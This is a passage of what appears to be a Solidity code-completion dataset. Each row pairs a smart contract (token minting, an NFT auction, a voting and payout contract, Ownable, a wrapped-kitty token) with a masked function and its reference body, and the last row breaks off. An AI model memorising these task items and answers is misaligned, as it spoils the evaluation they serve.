source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
827k
masked_all
stringlengths
34
827k
func_body
stringlengths
4
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
25.6k
24754
MintableTokenImpl
emitMint
contract MintableTokenImpl is Ownable, TokenImpl, MintableToken { /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emitMint(_to, _amount); emitTransfer(address(0), _to, _amount); return true; } function emitMint(address _to, uint256 _value) internal {<FILL_FUNCTION_BODY> } }
contract MintableTokenImpl is Ownable, TokenImpl, MintableToken { /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emitMint(_to, _amount); emitTransfer(address(0), _to, _amount); return true; } <FILL_FUNCTION> }
Mint(_to, _value);
function emitMint(address _to, uint256 _value) internal
function emitMint(address _to, uint256 _value) internal
66478
TimeAuctionBase
_computeCurrentPrice
contract TimeAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); event AuctionSettled(uint256 tokenId, uint256 price, uint256 sellerProceeds, address seller, address buyer); event AuctionRepriced(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint64 duration, uint64 startedAt); /// @dev DON'T give me your money. function() external {} // Modifiers to check that inputs can be safely stored with a certain // number of bits. We use constants and multiple modifiers to save gas. modifier canBeStoredWith32Bits(uint256 _value) { require(_value <= 4294967295); _; } // Modifiers to check that inputs can be safely stored with a certain // number of bits. We use constants and multiple modifiers to save gas. modifier canBeStoredWith64Bits(uint256 _value) { require(_value <= 18446744073709551615); _; } modifier canBeStoredWith128Bits(uint256 _value) { require(_value < 340282366920938463463374607431768211455); _; } /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.approve(_receiver, _tokenId); nonFungibleContract.transferFrom(address(this), _receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId), address(_auction.seller), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCancelled(_tokenId); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the incoming bid is higher than the current // price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); emit AuctionSettled(_tokenId, price, sellerProceeds, seller, msg.sender); } // Tell the world! emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) {<FILL_FUNCTION_BODY> } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the TimeAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } }
contract TimeAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); event AuctionSettled(uint256 tokenId, uint256 price, uint256 sellerProceeds, address seller, address buyer); event AuctionRepriced(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint64 duration, uint64 startedAt); /// @dev DON'T give me your money. function() external {} // Modifiers to check that inputs can be safely stored with a certain // number of bits. We use constants and multiple modifiers to save gas. modifier canBeStoredWith32Bits(uint256 _value) { require(_value <= 4294967295); _; } // Modifiers to check that inputs can be safely stored with a certain // number of bits. We use constants and multiple modifiers to save gas. modifier canBeStoredWith64Bits(uint256 _value) { require(_value <= 18446744073709551615); _; } modifier canBeStoredWith128Bits(uint256 _value) { require(_value < 340282366920938463463374607431768211455); _; } /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.approve(_receiver, _tokenId); nonFungibleContract.transferFrom(address(this), _receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId), address(_auction.seller), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCancelled(_tokenId); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the incoming bid is higher than the current // price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); emit AuctionSettled(_tokenId, price, sellerProceeds, seller, msg.sender); } // Tell the world! emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } <FILL_FUNCTION> /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the TimeAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } }
// NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); }
function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256)
/// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256)
6098
TeamAddress
contract TeamAddress { function() external payable {<FILL_FUNCTION_BODY> } }
contract TeamAddress { <FILL_FUNCTION> }
// The contract don`t receive ether revert();
function() external payable
function() external payable
72939
Wallet
deploy
contract Wallet { function deploy(address payer) public returns(address proxy) {<FILL_FUNCTION_BODY> } }
contract Wallet { <FILL_FUNCTION> }
bytes32 salt = keccak256(abi.encodePacked(payer)); bytes memory deploymentData = type(avatar).creationCode; assembly { proxy := create2(0, add(deploymentData, 0x20), mload(deploymentData), salt) }
function deploy(address payer) public returns(address proxy)
function deploy(address payer) public returns(address proxy)
59830
VOTING
beforeFinishProposal
contract VOTING is VAR { event Vote(ActionType actionType, uint proposalIndex, address addr, uint8 vote); event FinishVoting(ActionType actionType, bool result, uint proposalIndex); event ProposalCreated(uint endTime, ActionType actionType, address actionAddress, uint8[] percents, address[] addresses, uint amount, uint proposalIndex); enum ActionType {add_voter, remove_voter, set_percent, eth_emission} struct VoteStatus { address participant; uint8 vote; // 0 no 1 yes 2 resignation } struct Proposal { uint endTime; uint8 result; // 0 no 1 yes 2 notFinished ActionType actionType; // 0 add 1 remove participant 2 transfer ETH address actionAddress; // Add/Remove participant or transfer address uint8[] percents; address[] addresses; uint amount; // amount of transfered Wei address[] voters; uint8[] votes; } struct ParticipantVote { address addr; uint8 vote; } address[] public participants; mapping(address => uint8) participantPercent; Proposal[] proposals; VoteStatus[] status; constructor() { address one = 0xdD5775D8F839bDEEc91a0f7E47f3423752Ed6e4F; address two = 0x9d269611ae44bB242416Ed78Dc070Bf5449385Ae; participants.push(one); participants.push(two); participantPercent[one] = 50; participantPercent[two] = 50; } //receive() external payable { } function beforeCreateProposal(ActionType _actionType, address _actionAddress, uint8[] memory _percents, address[] memory _addresses, address _senderAddress) public view returns(bool, string memory) { if(findParticipantIndex(_senderAddress) == 0) return(true, "You are not in participant"); if(uint(_actionType) < 2) { uint index = findParticipantIndex(_actionAddress); if(_actionType == ActionType.add_voter && index != 0) return(true, "This participant already exist"); if(_actionType == ActionType.remove_voter){ if(participantPercent[_actionAddress] > 0) return(true, "The participant to delete must have zero percent"); if(index == 0) return(true, "This is not participant address"); if(participants.length <= 2) return(true, "Minimal count of participants is 2"); } } if(_actionType == ActionType.set_percent){ if(_percents.length != participants.length) return(true, "Wrong percents length"); if(_addresses.length != participants.length) return(true, "Wrong addresses length"); uint8 total = 0; for(uint i = 0; _percents.length > i; i++){ total += _percents[i]; } if(total != 100) return(true, "The sum of the percentages must be 100"); } return(false, "ok"); } function createProposal( ActionType _actionType, address _actionAddress, uint8[] memory _percents, address[] memory _addresses, uint _amount) public { (bool error, string memory message) = beforeCreateProposal(_actionType, _actionAddress, _percents, _addresses, msg.sender); require (!error, message); uint time = block.timestamp + (3 * 24 hours); // Three days address[] memory emptyVoters; uint8[] memory emptyVotes; proposals.push( Proposal(time, 2, _actionType, _actionAddress, _percents, _addresses, _amount, emptyVoters, emptyVotes) ); emit ProposalCreated(time, _actionType, _actionAddress, _percents, _addresses, _amount, proposals.length-1); } function beforeVoteInProposal (uint proposalIndex, address senderAddress) public view returns(bool error, string memory description) { uint index = findParticipantIndex(senderAddress); if(index == 0) return(true, "You are not in participant"); if(proposals.length <= proposalIndex) return(true, "Proposal not exist"); if(proposals[proposalIndex].result != 2) return(true, "Proposal finished"); if(block.timestamp >= proposals[proposalIndex].endTime) return(true, "Time for voting is out"); for(uint i = 0; proposals[proposalIndex].voters.length > i; i++){ if(proposals[proposalIndex].voters[i] == senderAddress){ return(true, "You are already voted"); } } return(false, "ok"); } function voteInProposal (uint proposalIndex, uint8 vote) public{ (bool error, string memory message) = beforeVoteInProposal(proposalIndex, msg.sender); require (!error, message); proposals[proposalIndex].voters.push(msg.sender); proposals[proposalIndex].votes.push(vote); emit Vote(proposals[proposalIndex].actionType, proposalIndex, msg.sender, vote); } function beforeFinishProposal (uint proposalIndex, address senderAddress) public view returns(bool error, string memory message, uint votedYes, uint votedNo) {<FILL_FUNCTION_BODY> } function finishProposal(uint proposalIndex) public { (bool error, string memory message, uint votedYes, uint votedNo) = beforeFinishProposal(proposalIndex, msg.sender); require (!error, message); proposals[proposalIndex].result = votedYes > votedNo? 1 : 0; if(votedYes > votedNo){ if(proposals[proposalIndex].actionType == ActionType.add_voter){ // Add participant participants.push(proposals[proposalIndex].actionAddress); } else if (proposals[proposalIndex].actionType == ActionType.remove_voter) { // Remove participant uint index = findParticipantIndex(proposals[proposalIndex].actionAddress) - 1; participants[index] = participants[participants.length-1]; // Copy last item on removed position and participants.pop(); // remove last } else if (proposals[proposalIndex].actionType == ActionType.set_percent){ for(uint i = 0; proposals[proposalIndex].addresses.length > i; i++){ participantPercent[proposals[proposalIndex].addresses[i]] = proposals[proposalIndex].percents[i]; } } else if (proposals[proposalIndex].actionType == ActionType.eth_emission) { // Transfer ETH uint totalSend = proposals[proposalIndex].amount; uint remains = totalSend; for(uint i = 0; participants.length > i; i++){ if(i < participants.length-1){ payable(participants[i]).transfer(totalSend/100*participantPercent[participants[i]]); remains -= totalSend/100*participantPercent[participants[i]]; } else payable(participants[i]).transfer(remains); } } } emit FinishVoting(proposals[proposalIndex].actionType, votedYes > votedNo, proposalIndex); } function statusOfProposal (uint index) public view returns (address[] memory, uint8[] memory) { require(proposals.length > index, "Proposal at index not exist"); return (proposals[index].voters, proposals[index].votes); } function getProposal(uint index) public view returns( uint endTime, uint8 result, ActionType actionType, address actionAddress, uint8[] memory percents, address[] memory addresses, uint amount, address[] memory voters, uint8[] memory votes) { require(proposals.length > index, "Proposal at index not exist"); Proposal memory p = proposals[index]; return (p.endTime, p.result, p.actionType, p.actionAddress, p.percents, p.addresses, p.amount, p.voters, p.votes); } function proposalsLength () public view returns (uint) { return proposals.length; } function participantsLength () public view returns (uint) { return participants.length; } function percentagePayouts () public view returns (address[] memory participantsAdresses, uint8[] memory percents) { uint8[] memory pom = new uint8[](participants.length); for(uint i = 0; participants.length > i; i++){ pom[i] = participantPercent[participants[i]]; } return (participants, pom); } function findParticipantIndex(address addr) private view returns (uint) { for(uint i = 0; participants.length > i; i++){ if(participants[i] == addr) return i+1; } return 0; } }
contract VOTING is VAR { event Vote(ActionType actionType, uint proposalIndex, address addr, uint8 vote); event FinishVoting(ActionType actionType, bool result, uint proposalIndex); event ProposalCreated(uint endTime, ActionType actionType, address actionAddress, uint8[] percents, address[] addresses, uint amount, uint proposalIndex); enum ActionType {add_voter, remove_voter, set_percent, eth_emission} struct VoteStatus { address participant; uint8 vote; // 0 no 1 yes 2 resignation } struct Proposal { uint endTime; uint8 result; // 0 no 1 yes 2 notFinished ActionType actionType; // 0 add 1 remove participant 2 transfer ETH address actionAddress; // Add/Remove participant or transfer address uint8[] percents; address[] addresses; uint amount; // amount of transfered Wei address[] voters; uint8[] votes; } struct ParticipantVote { address addr; uint8 vote; } address[] public participants; mapping(address => uint8) participantPercent; Proposal[] proposals; VoteStatus[] status; constructor() { address one = 0xdD5775D8F839bDEEc91a0f7E47f3423752Ed6e4F; address two = 0x9d269611ae44bB242416Ed78Dc070Bf5449385Ae; participants.push(one); participants.push(two); participantPercent[one] = 50; participantPercent[two] = 50; } //receive() external payable { } function beforeCreateProposal(ActionType _actionType, address _actionAddress, uint8[] memory _percents, address[] memory _addresses, address _senderAddress) public view returns(bool, string memory) { if(findParticipantIndex(_senderAddress) == 0) return(true, "You are not in participant"); if(uint(_actionType) < 2) { uint index = findParticipantIndex(_actionAddress); if(_actionType == ActionType.add_voter && index != 0) return(true, "This participant already exist"); if(_actionType == ActionType.remove_voter){ if(participantPercent[_actionAddress] > 0) return(true, "The participant to delete must have zero percent"); if(index == 0) return(true, "This is not participant address"); if(participants.length <= 2) return(true, "Minimal count of participants is 2"); } } if(_actionType == ActionType.set_percent){ if(_percents.length != participants.length) return(true, "Wrong percents length"); if(_addresses.length != participants.length) return(true, "Wrong addresses length"); uint8 total = 0; for(uint i = 0; _percents.length > i; i++){ total += _percents[i]; } if(total != 100) return(true, "The sum of the percentages must be 100"); } return(false, "ok"); } function createProposal( ActionType _actionType, address _actionAddress, uint8[] memory _percents, address[] memory _addresses, uint _amount) public { (bool error, string memory message) = beforeCreateProposal(_actionType, _actionAddress, _percents, _addresses, msg.sender); require (!error, message); uint time = block.timestamp + (3 * 24 hours); // Three days address[] memory emptyVoters; uint8[] memory emptyVotes; proposals.push( Proposal(time, 2, _actionType, _actionAddress, _percents, _addresses, _amount, emptyVoters, emptyVotes) ); emit ProposalCreated(time, _actionType, _actionAddress, _percents, _addresses, _amount, proposals.length-1); } function beforeVoteInProposal (uint proposalIndex, address senderAddress) public view returns(bool error, string memory description) { uint index = findParticipantIndex(senderAddress); if(index == 0) return(true, "You are not in participant"); if(proposals.length <= proposalIndex) return(true, "Proposal not exist"); if(proposals[proposalIndex].result != 2) return(true, "Proposal finished"); if(block.timestamp >= proposals[proposalIndex].endTime) return(true, "Time for voting is out"); for(uint i = 0; proposals[proposalIndex].voters.length > i; i++){ if(proposals[proposalIndex].voters[i] == senderAddress){ return(true, "You are already voted"); } } return(false, "ok"); } function voteInProposal (uint proposalIndex, uint8 vote) public{ (bool error, string memory message) = beforeVoteInProposal(proposalIndex, msg.sender); require (!error, message); proposals[proposalIndex].voters.push(msg.sender); proposals[proposalIndex].votes.push(vote); emit Vote(proposals[proposalIndex].actionType, proposalIndex, msg.sender, vote); } <FILL_FUNCTION> function finishProposal(uint proposalIndex) public { (bool error, string memory message, uint votedYes, uint votedNo) = beforeFinishProposal(proposalIndex, msg.sender); require (!error, message); proposals[proposalIndex].result = votedYes > votedNo? 1 : 0; if(votedYes > votedNo){ if(proposals[proposalIndex].actionType == ActionType.add_voter){ // Add participant participants.push(proposals[proposalIndex].actionAddress); } else if (proposals[proposalIndex].actionType == ActionType.remove_voter) { // Remove participant uint index = findParticipantIndex(proposals[proposalIndex].actionAddress) - 1; participants[index] = participants[participants.length-1]; // Copy last item on removed position and participants.pop(); // remove last } else if (proposals[proposalIndex].actionType == ActionType.set_percent){ for(uint i = 0; proposals[proposalIndex].addresses.length > i; i++){ participantPercent[proposals[proposalIndex].addresses[i]] = proposals[proposalIndex].percents[i]; } } else if (proposals[proposalIndex].actionType == ActionType.eth_emission) { // Transfer ETH uint totalSend = proposals[proposalIndex].amount; uint remains = totalSend; for(uint i = 0; participants.length > i; i++){ if(i < participants.length-1){ payable(participants[i]).transfer(totalSend/100*participantPercent[participants[i]]); remains -= totalSend/100*participantPercent[participants[i]]; } else payable(participants[i]).transfer(remains); } } } emit FinishVoting(proposals[proposalIndex].actionType, votedYes > votedNo, proposalIndex); } function statusOfProposal (uint index) public view returns (address[] memory, uint8[] memory) { require(proposals.length > index, "Proposal at index not exist"); return (proposals[index].voters, proposals[index].votes); } function getProposal(uint index) public view returns( uint endTime, uint8 result, ActionType actionType, address actionAddress, uint8[] memory percents, address[] memory addresses, uint amount, address[] memory voters, uint8[] memory votes) { require(proposals.length > index, "Proposal at index not exist"); Proposal memory p = proposals[index]; return (p.endTime, p.result, p.actionType, p.actionAddress, p.percents, p.addresses, p.amount, p.voters, p.votes); } function proposalsLength () public view returns (uint) { return proposals.length; } function participantsLength () public view returns (uint) { return participants.length; } function percentagePayouts () public view returns (address[] memory participantsAdresses, uint8[] memory percents) { uint8[] memory pom = new uint8[](participants.length); for(uint i = 0; participants.length > i; i++){ pom[i] = participantPercent[participants[i]]; } return (participants, pom); } function findParticipantIndex(address addr) private view returns (uint) { for(uint i = 0; participants.length > i; i++){ if(participants[i] == addr) return i+1; } return 0; } }
uint index = findParticipantIndex(senderAddress); uint _votedYes = 0; uint _votedNo = 0; for(uint i = 0; proposals[proposalIndex].voters.length > i; i++){ if(proposals[proposalIndex].votes[i] == 1) _votedYes++; if(proposals[proposalIndex].votes[i] == 0) _votedNo++; } if(index == 0) return(true, "You are not in participant", _votedYes, _votedNo); if(proposals[proposalIndex].actionType == ActionType.add_voter && findParticipantIndex(proposals[proposalIndex].actionAddress) > 0) return(true, "This participant already exist", _votedYes, _votedNo); if(proposals[proposalIndex].actionType == ActionType.remove_voter && participants.length == 2) return(true, "Minimal count of voted participants is 2", _votedYes, _votedNo); if(proposals[proposalIndex].actionType == ActionType.remove_voter && participantPercent[proposals[proposalIndex].actionAddress] > 0) return(true, "The participant to delete must have zero percent", _votedYes, _votedNo); if(proposals.length <= proposalIndex) return(true, "Proposal does not exist", _votedYes, _votedNo); if(proposals[proposalIndex].result != 2) return(true, "Voting has finished", _votedYes, _votedNo); if(block.timestamp <= proposals[proposalIndex].endTime && proposals[proposalIndex].voters.length != participants.length) return(true, "Voting is not finished", _votedYes, _votedNo); // Tady změnit balance na konkrétní účet if(proposals[proposalIndex].actionType == ActionType.eth_emission && address(this).balance < proposals[proposalIndex].amount) return(true, "Low ETH balance", _votedYes, _votedNo); if(proposals[proposalIndex].voters.length <= participants.length - proposals[proposalIndex].voters.length) // Minimum participants on proposal return(true, "Count of voted participants must be more than 50%", _votedYes, _votedNo); return(false, "ok", _votedYes, _votedNo);
function beforeFinishProposal (uint proposalIndex, address senderAddress) public view returns(bool error, string memory message, uint votedYes, uint votedNo)
function beforeFinishProposal (uint proposalIndex, address senderAddress) public view returns(bool error, string memory message, uint votedYes, uint votedNo)
27899
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) onlyOwner public
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public
60790
WrappedVG0
burnTokensAndWithdrawKitties
contract WrappedVG0 is ERC20, ReentrancyGuard { // OpenZeppelin's SafeMath library is used for all arithmetic operations to avoid overflows/underflows. using SafeMath for uint256; /* ****** */ /* EVENTS */ /* ****** */ /// @dev This event is fired when a user deposits cryptokitties into the contract in exchange /// for an equal number of WVG0 ERC20 tokens. /// @param kittyId The cryptokitty id of the kitty that was deposited into the contract. event DepositKittyAndMintToken( uint256 kittyId ); /// @dev This event is fired when a user deposits WVG0 ERC20 tokens into the contract in exchange /// for an equal number of locked cryptokitties. /// @param kittyId The cryptokitty id of the kitty that was withdrawn from the contract. event BurnTokenAndWithdrawKitty( uint256 kittyId ); /* ******* */ /* STORAGE */ /* ******* */ /// @dev An Array containing all of the cryptokitties that are locked in the contract, backing /// WVG0 ERC20 tokens 1:1 /// @notice Some of the kitties in this array were indeed deposited to the contract, but they /// are no longer held by the contract. This is because withdrawSpecificKitty() allows a /// user to withdraw a kitty "out of order". Since it would be prohibitively expensive to /// shift the entire array once we've withdrawn a single element, we instead maintain this /// mapping to determine whether an element is still contained in the contract or not. uint256[] private depositedKittiesArray; /// @dev A mapping keeping track of which kittyIDs are currently contained within the contract. /// @notice We cannot rely on depositedKittiesArray as the source of truth as to which cats are /// deposited in the contract. This is because burnTokensAndWithdrawKitties() allows a user to /// withdraw a kitty "out of order" of the order that they are stored in the array. Since it /// would be prohibitively expensive to shift the entire array once we've withdrawn a single /// element, we instead maintain this mapping to determine whether an element is still contained /// in the contract or not. mapping (uint256 => bool) private kittyIsDepositedInContract; /* ********* */ /* CONSTANTS */ /* ********* */ /// @dev The metadata details about the 